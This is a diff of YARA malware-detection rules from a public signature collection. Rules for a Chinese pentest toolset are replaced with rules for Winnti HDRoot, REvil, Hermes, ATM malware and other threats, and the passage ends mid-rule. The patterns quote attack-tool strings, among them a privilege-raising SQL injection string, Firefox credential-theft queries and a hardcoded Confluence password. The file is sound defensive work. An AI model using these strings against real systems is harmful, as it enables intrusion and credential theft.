-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1063-L1080"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7b8d51c72841532dded5fec7e7b0005855b8a051"
-		logic_hash = "5e8349096b7d07757c3779e13fba87f770a5ef090bc7efe36fd151c7c180edad"
-		score = 70
+		id = "1443c673-2a86-5431-876a-c8fccba52190"
+		date = "2022-07-21"
+		modified = "2023-12-05"
+		reference = "https://www.bleepingcomputer.com/news/security/atlassian-fixes-critical-confluence-hardcoded-credentials-flaw/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vul_confluence_questions_plugin_cve_2022_26138.yar#L2-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c164bd3d9ed1e155d51112e14340b814f6ea782604540c84a6e9efb5c6041156"
+		score = 50
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2022-26138"
 
 	strings:
-		$s0 = "\\Decompress\\obj\\Release\\Decompress.pdb" ascii
-		$s1 = "Decompress.exe" fullword wide
-		$s5 = "Get8Bytes" fullword ascii
+		$x_plain_1 = "predefined.user.password=disabled1system1user6708"
+		$jar_marker = "/confluence/plugins/questions/"
+		$jar_size_1 = { 00 CC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+      /*    here starts default.properties v                          */
+                      ?? ?? ?? ?? ?? ?? 00 64 65 66 61 75 6C 74 2E 70
+                      72 6F 70 65 72 74 69 65 73 50 4B }
+		$jar_size_2 = { 00 CC 00 ?? ?? ?? ?? ?? 00 64 65 66 61 75 6C 74
+                      2E 70 72 6F 70 65 72 74 69 65 73 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <45KB and all of them
+		1 of ($x*) or ($jar_marker and 1 of ($jar_size*))
 }
-rule SIGNATURE_BASE_CN_Honker_Xiaokui_Conversion_Tool : FILE
+rule SIGNATURE_BASE_Hdroot_Sample_Jul17_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Xiaokui_conversion_tool.exe"
+		description = "Detects HDRoot samples"
 		author = "Florian Roth (Nextron Systems)"
-		id = "26e30df6-b1d9-5d82-b368-a4a904939aa3"
-		date = "2015-06-23"
+		id = "06356f8a-bacd-51bc-a6f4-107983a9c16e"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1082-L1098"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dccd163e94a774b01f90c1e79f186894e2f27de3"
-		logic_hash = "66a77c1fbfecdc02f591c12f69b46e39b7077dfbb5ed2a26a7dcfb11c8b464dc"
-		score = 70
-		quality = 60
+		reference = "Winnti HDRoot VT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_hdroot.yar#L11-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "41127e6d70af4b095555285f3d5570fc4dbe2a7918664502057cdc4fed8fab33"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6d2ad82f455becc8c830d000633a370857928c584246a7f41fe722cc46c0d113"
 
 	strings:
-		$s1 = "update [dv_user] set usergroupid=1 where userid=2;--" fullword ascii
-		$s2 = "To.exe" fullword wide
-		$s3 = "by zj1244" ascii
+		$s1 = "gleupdate.dll" fullword ascii
+		$s2 = "\\DosDevices\\%ws\\system32\\%ws" wide
+		$s3 = "l\\Driver\\nsiproxy" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <240KB and 2 of them
+		( uint16(0)==0x5a4d and filesize <60KB and 3 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Grouppolicyremover : FILE
+rule SIGNATURE_BASE_Hdroot_Sample_Jul17_2 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file GroupPolicyRemover.exe"
+		description = "Detects HDRoot samples"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e581172d-fcea-5281-ba9f-06b35c9a513e"
-		date = "2015-06-23"
+		id = "9ce9c0f4-e6f9-5033-ba74-367e6d741650"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1100-L1116"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7475d694e189b35899a2baa462957ac3687513e5"
-		logic_hash = "936d5dea2d44f638abfb5e42f45c0678bcbf769b575b5056db1a1fc41d1643be"
-		score = 70
+		reference = "Winnti HDRoot VT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_hdroot.yar#L28-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "94288abb5c4da7c4b07eeae55070797af1556dac35ad012aff1bbe8c05e0a215"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "1c302ed9786fc600073cc6f3ed2e50e7c23785c94a2908f74f92971d978b704b"
+		hash2 = "3b7cfa40e26fb6b079b55ec030aba244a6429e263a3d9832e32ab09e7a3c4a9c"
+		hash3 = "71eddf71a94c5fd04c9f3ff0ca1eb6b1770df1a3a8f29689fb8588427b5c9e8e"
+		hash4 = "80e088f2fd2dbde0f9bc21e056b6521991929c4e0ecd3eb5833edff6362283f4"
 
 	strings:
-		$s0 = "GP_killer.EXE" fullword wide
-		$s1 = "GP_killer Microsoft " fullword wide
-		$s2 = "SHDeleteKeyA" fullword ascii
+		$x1 = "http://microsoftcompanywork.htm" fullword ascii
+		$x2 = "compose.aspx?s=%4X%4X%4X%4X%4X%4X" fullword ascii
+		$t1 = "http://babelfish.yahoo.com/translate_url?" fullword ascii
+		$t2 = "http://translate.google.com/translate?prev=hp&hl=en&js=n&u=%s?%d&sl=es&tl=en" fullword ascii
+		$u1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5." ascii
+		$u2 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)" fullword ascii
+		$u3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; TERA:" fullword ascii
+		$s1 = "\\system32\\ntoskrnl.exe" ascii
+		$s2 = "Schedsvc.dll" fullword wide
+		$s3 = "dllserver64.dll" fullword ascii
+		$s4 = "C:\\TERA_SR.txt" fullword ascii
+		$s5 = "updatevnsc.dat" fullword wide
+		$s6 = "tera dll service global event" fullword ascii
+		$s7 = "Referer: http://%s/%s" fullword ascii
+		$s8 = "tera replace dll config" fullword ascii
+		$s9 = "SetupDll64.dll" fullword ascii
+		$s10 = "copy %%ComSpec%% \"%s\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and (1 of ($x*) or all of ($u*) or 8 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Wordpressscanner : FILE
+rule SIGNATURE_BASE_Unspecified_Malware_Jul17_1A : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file WordpressScanner.exe"
+		description = "Detects samples of an unspecified malware - July 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "79195823-f88b-5c28-8b99-a43a9d6c94af"
-		date = "2015-06-23"
+		id = "348515d5-784f-519d-b426-87b8a53de5f3"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1118-L1135"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0b3c5015ba3616cbc616fc9ba805fea73e98bc83"
-		logic_hash = "c6c36ad5ff0ddfbc41464008d293d453bf2d312a6db885217785adf816bd8b20"
-		score = 70
+		reference = "Winnti HDRoot VT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_hdroot.yar#L66-L83"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e23af53be3e700055ea6536669065c131e7f674d45e43a389447c8c1f549dee5"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e1c38142b6194237a4cd4603829aa6edb6436e7bba15e3e6b0c9e8c6b629b42b"
 
 	strings:
-		$s0 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
-		$s1 = "(http://www.eyuyan.com)" fullword wide
-		$s2 = "GetConnectString" fullword ascii
-		$s4 = "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)" fullword ascii
+		$s1 = "%SystemRoot%\\System32\\wuauserv.dll" fullword ascii
+		$s2 = "systemroot%\\system32\\wuauserv.dll" fullword ascii
+		$s3 = "ocgen.logIN" fullword wide
+		$s4 = "ocmsn.logIN" fullword wide
+		$s5 = "Install.log" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		( uint16(0)==0x5a4d and filesize <900KB and all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Htran_V2_40_Htran20 : FILE
+rule SIGNATURE_BASE_Mimikatz_Kirbi_Ticket : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file htran20.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9dd1ab4b-108e-55be-b94d-2868ce00855e"
-		date = "2015-06-23"
+		description = "KiRBi ticket for mimikatz"
+		author = "Benjamin DELPY (gentilkiwi); Didier Stevens"
+		id = "a37249e0-ab3b-50c2-9473-1e69185713cc"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1137-L1156"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b992bf5b04d362ed3757e90e57bc5d6b2a04e65c"
-		logic_hash = "41a85430875df622e7940ef26c6eceaa4e0720b2995521fbb2d4b072207c8e15"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_kirbi_mimkatz.yar#L10-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2a62c24954d64346e419985ef5bf2b357b2aee41ac6b33d379dbd65cf5c9f92b"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "%s -slave  ConnectHost ConnectPort TransmitHost TransmitPort" fullword ascii
-		$s2 = "Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:" fullword ascii
-		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
-		$s4 = "%s -connect ConnectHost [ConnectPort]       Default:%d" fullword ascii
-		$s5 = "[+] got, ip:%s, port:%d" fullword ascii
-		$s6 = "[-] There is a error...Create a new connection." fullword ascii
+		$asn1 = { 76 82 ?? ?? 30 82 ?? ?? a0 03 02 01 05 a1 03 02 01 16 }
+		$asn1_84 = { 76 84 ?? ?? ?? ?? 30 84 ?? ?? ?? ?? a0 84 00 00 00 03 02 01 05 a1 84 00 00 00 03 02 01 16 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		$asn1 at 0 or $asn1_84 at 0
 }
-rule SIGNATURE_BASE_CN_Honker_Dictionarygenerator : FILE
+rule SIGNATURE_BASE_MAL_RANSOM_Revil_Oct20_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file DictionaryGenerator.exe"
+		description = "Detects REvil ransomware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "29ce6f8c-3092-5917-ab31-aaed7834c500"
-		date = "2015-06-23"
+		id = "0c85a2cc-3487-577f-bd12-e3effd8fc811"
+		date = "2020-10-13"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1158-L1173"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b3071c64953e97eeb2ca6796fab302d8a77d27bc"
-		logic_hash = "228bdbca3eb206e22a130e91caa2486174efba9356dbee67e80333c0cf0bb643"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_revil.yar#L2-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "756e49362c01abbca3208967630f09ed957e5c51956e0e5210b0167590582a82"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4"
+		hash2 = "f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5"
+		hash3 = "f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d"
+		hash4 = "fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501"
 
 	strings:
-		$s1 = "`PasswordBuilder" fullword ascii
-		$s2 = "cracker" fullword ascii
+		$op1 = { 0f 8c 74 ff ff ff 33 c0 5f 5e 5b 8b e5 5d c3 8b }
+		$op2 = { 8d 85 68 ff ff ff 50 e8 2a fe ff ff 8d 85 68 ff }
+		$op3 = { 89 4d f4 8b 4e 0c 33 4e 34 33 4e 5c 33 8e 84 }
+		$op4 = { 8d 85 68 ff ff ff 50 e8 05 06 00 00 8d 85 68 ff }
+		$op5 = { 8d 85 68 ff ff ff 56 57 ff 75 0c 50 e8 2f }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3650KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and 2 of them or 4 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Ms11080_Withcmd : FILE
+rule SIGNATURE_BASE_Mal_Dropper_Httpexe_From_CAB : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file ms11080_withcmd.exe"
+		description = "Detects a dropper from a CAB file mentioned in the article"
 		author = "Florian Roth (Nextron Systems)"
-		id = "38c12697-7e52-5713-a566-6047abfa229b"
-		date = "2015-06-23"
+		id = "f67c13e9-67e7-56aa-8ced-55e9bb814971"
+		date = "2016-05-25"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1175-L1190"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "745e5058acff27b09cfd6169caf6e45097881a49"
-		logic_hash = "1f673f845ad40efae143ec244c7c70d1e26fb51f22be6bf445085c6a7379f193"
-		score = 70
+		reference = "https://goo.gl/13Wgy1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_danti_svcmondr.yar#L10-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d114a3ab348bba49a78852b87b712908bc974bf35a2b841099a232e761cad8f2"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9e7e5f70c4b32a4d5e8c798c26671843e76bb4bd5967056a822e982ed36e047b"
 
 	strings:
-		$s1 = "Usage : ms11-080.exe cmd.exe Command " fullword ascii
-		$s3 = "[>] create pipe error" fullword ascii
+		$s1 = "029.Hdl" fullword ascii
+		$s2 = "http.exe" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <340KB and all of them
+		( uint16(0)==0x5a4d and filesize <1000KB and ( all of ($s*)))
 }
-rule SIGNATURE_BASE_CN_Honker_T00Ls_Lpk_Sethc_V2 : FILE
+rule SIGNATURE_BASE_Mal_Http_EXE : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v2.exe"
+		description = "Detects trojan from APT report named http.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "499b251a-e0e1-5550-825d-acab112be74b"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1192-L1208"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a995451d9108687b8892ad630a79660a021d670a"
-		logic_hash = "979f3fe9795798743f2a57aa3b82a34e304774de58ffda5278991cf5a753a8ba"
-		score = 70
+		id = "bcae9920-56ea-54a1-857b-70c275090e19"
+		date = "2016-05-25"
+		modified = "2023-01-27"
+		reference = "https://goo.gl/13Wgy1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_danti_svcmondr.yar#L27-L58"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0e28b64bbfd2b6d40f4bd82373624d22df3d5c45c22d7155747f0ff33976207d"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ad191d1d18841f0c5e48a5a1c9072709e2dd6359a6f6d427e0de59cfcd1d9666"
 
 	strings:
-		$s1 = "LOADER ERROR" fullword ascii
-		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
-		$s3 = "2011-2012 T00LS&RICES" fullword wide
+		$x1 = "Content-Disposition: form-data; name=\"file1\"; filename=\"%s\"" fullword ascii
+		$x2 = "%ALLUSERSPROFILE%\\Accessories\\wordpade.exe" fullword ascii
+		$x3 = "\\dumps.dat" ascii
+		$x4 = "\\wordpade.exe" ascii
+		$x5 = "\\%s|%s|4|%d|%4d-%02d-%02d %02d:%02d:%02d|" ascii
+		$x6 = "\\%s|%s|5|%d|%4d-%02d-%02d %02d:%02d:%02d|" ascii
+		$x7 = "cKaNBh9fnmXgJcSBxx5nFS+8s7abcQ==" fullword ascii
+		$x8 = "cKaNBhFLn1nXMcCR0RlbMQ==" fullword ascii
+		$s1 = "SELECT * FROM moz_logins;" fullword ascii
+		$s2 = "makescr.dat" fullword ascii
+		$s3 = "%s\\Mozilla\\Firefox\\profiles.ini" fullword ascii
+		$s4 = "?moz-proxy://" ascii
+		$s5 = "[%s-%s] Title: %s" fullword ascii
+		$s6 = "Cforeign key mismatch - \"%w\" referencing \"%w\"" fullword ascii
+		$s7 = "Windows 95 SR2" fullword ascii
+		$s8 = "\\|%s|0|0|" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and all of them
+		( uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) and 2 of ($s*))) or (3 of ($x*))
 }
-rule SIGNATURE_BASE_CN_Honker_HASH_32 : FILE
+rule SIGNATURE_BASE_Mal_Potplayer_DLL : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file 32.exe"
+		description = "Detects a malicious PotPlayer.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a9b5b753-2028-53be-9ac8-50ec910860c3"
-		date = "2015-06-23"
+		id = "71d34266-63e0-5a97-9a80-952be917641a"
+		date = "2016-05-25"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1210-L1226"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bf4a8b4b3e906e385feab5ea768f604f64ba84ea"
-		logic_hash = "819e70979ae1d5e237bbadaa52b504c566b4b7436747ceb0d72e206e4fc45708"
+		reference = "https://goo.gl/13Wgy1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_danti_svcmondr.yar#L60-L77"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1d1b68fa8de2e4ddfa71cbcd5e166181370172cc8a3167ade2da393e4f7998f1"
 		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "705409bc11fb45fa3c4e2fa9dd35af7d4613e52a713d9c6ea6bc4baff49aa74a"
 
 	strings:
-		$s5 = "[Undefined OS version]  Major: %d Minor: %d" fullword ascii
-		$s8 = "Try To Run As Administrator ..." fullword ascii
-		$s9 = "Specific LUID NOT found" fullword ascii
+		$x1 = "C:\\Users\\john\\Desktop\\PotPlayer\\Release\\PotPlayer.pdb" fullword ascii
+		$s3 = "PotPlayer.dll" fullword ascii
+		$s4 = "\\update.dat" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <240KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and $x1 or all of ($s*)
 }
-rule SIGNATURE_BASE_CN_Honker_Windows_Mstsc_Enhanced_RMDSTC : FILE
+rule SIGNATURE_BASE_ATM_Malware_Xfscashncr_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file RMDSTC.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f6e94327-cb79-5a7a-88bb-850177558978"
-		date = "2015-06-23"
+		description = "Detects ATM Malware XFSCashNCR"
+		author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
+		id = "0a70ef9a-9dde-54c9-a3a2-dfceff32932b"
+		date = "2019-08-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1228-L1243"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3ca2b1b6f31219baf172abcc8f00f07f560e465f"
-		logic_hash = "de676b033613beebfe9fc5a71cf5f5911f0af35d34e77d56d222c6f00114dfb6"
-		score = 70
+		reference = "https://twitter.com/r3c0nst/status/1166773324548063232"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_atm_xfscashncr.yar#L2-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "014d07115543c6e041649a1c57206a75fd555bf0458c7578a33c81b473c72751"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d6dff67a6b4423b5721908bdcc668951f33b3c214e318051c96e8c158e8931c0"
 
 	strings:
-		$s0 = "zava zir5@163.com" fullword wide
-		$s1 = "By newccc" fullword wide
+		$Code1 = {50 8b 4d e8 8b 51 10 52 6a 00 68 2d 01 00 00 8b 45 e8 0f b7 48 1c 51 e8}
+		$Code2 = {52 8d 45 d0 50 68 2e 01 00 00 8b 4d e8 0f b7 51 1c 52 e8}
+		$x_StatusMessage1 = "[+] Ingrese Denominacion ISO" nocase ascii
+		$x_StatusMessage2 = "[+] Ingrese numero de billetes" nocase ascii
+		$x_StatusMessage3 = "[!] FAIL.. dispensadores no encontrados" nocase ascii
+		$x_StatusMessage4 = "[!] Unable continue, IMPOSIBLE abrir dispenser" nocase ascii
+		$x_PDB = "C:\\Users\\cyttek\\Downloads\\xfs_cashXP\\Debug\\xfs_cash_ncr.pdb" nocase ascii
+		$LogFile = "XfsLog.txt" nocase ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		uint16(0)==0x5A4D and filesize <1500KB and (1 of ($x*) or 2 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Sig_3389_Mstsc_MSTSCAX : FILE
+rule SIGNATURE_BASE_Hermes2_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file MSTSCAX.DLL"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9508b613-f897-5277-97e0-30e36fb5d747"
-		date = "2015-06-23"
+		description = "Detects Hermes Ransomware as used in BAE report on FEIB"
+		author = "BAE"
+		id = "13397a43-04e1-5cc1-9260-9895736013f3"
+		date = "2017-10-11"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1245-L1261"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2fa006158b2d87b08f1778f032ab1b8e139e02c6"
-		logic_hash = "2bfe10ec4af5d0f32fc03714c0cb01d9b0d446daa67cc0cce0b83f6a57e7c5a5"
-		score = 70
+		reference = "https://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_hermes_ransom.yar#L1-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b27881f59c8d8cc529fa80a58709db36"
+		logic_hash = "85a7b3ec89f2bf32e5520a7c5c84661383be71abd8dae3d072d75d5b1118db24"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "ResetPasswordWWWx" fullword ascii
-		$s2 = "Terminal Server Redirected Printer Doc" fullword wide
-		$s3 = "Cleaning temp directory" fullword ascii
+		$s1 = "SYSTEM\\CurrentControlSet\\Control\\Nls\\Language\\"
+		$s2 = "0419"
+		$s3 = "0422"
+		$s4 = "0423"
+		$S1 = "HERMES"
+		$S2 = "vssadminn"
+		$S3 = "finish work"
+		$S4 = "testlib.dll"
+		$S5 = "shadowstorageiet"
+		$u1 = "ALKnvfoi4tbmiom3t40iomfr0i3t4jmvri3tb4mvi3btv3rgt4t777"
+		$u2 = "HERMES 2.1 TEST BUILD, press ok"
+		$u3 = "hnKwtMcOadHwnXutKHqPvpgfysFXfAFTcaDHNdCnktA"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		uint16(0)==0x5a4d and all of ($s*) and 3 of ($S*) and 1 of ($u*)
 }
-rule SIGNATURE_BASE_CN_Honker_T00Ls_Scanner : FILE
+rule SIGNATURE_BASE_APT_MAL_NK_Lazarus_VHD_Ransomware_Oct20_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file T00ls_scanner.exe"
+		description = "Detects Lazarus VHD Ransomware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "80d4a950-24cb-55c7-903f-8788a71be7ac"
-		date = "2015-06-23"
+		id = "5cb3c136-ec5c-5596-8dcc-e4c6ef33050a"
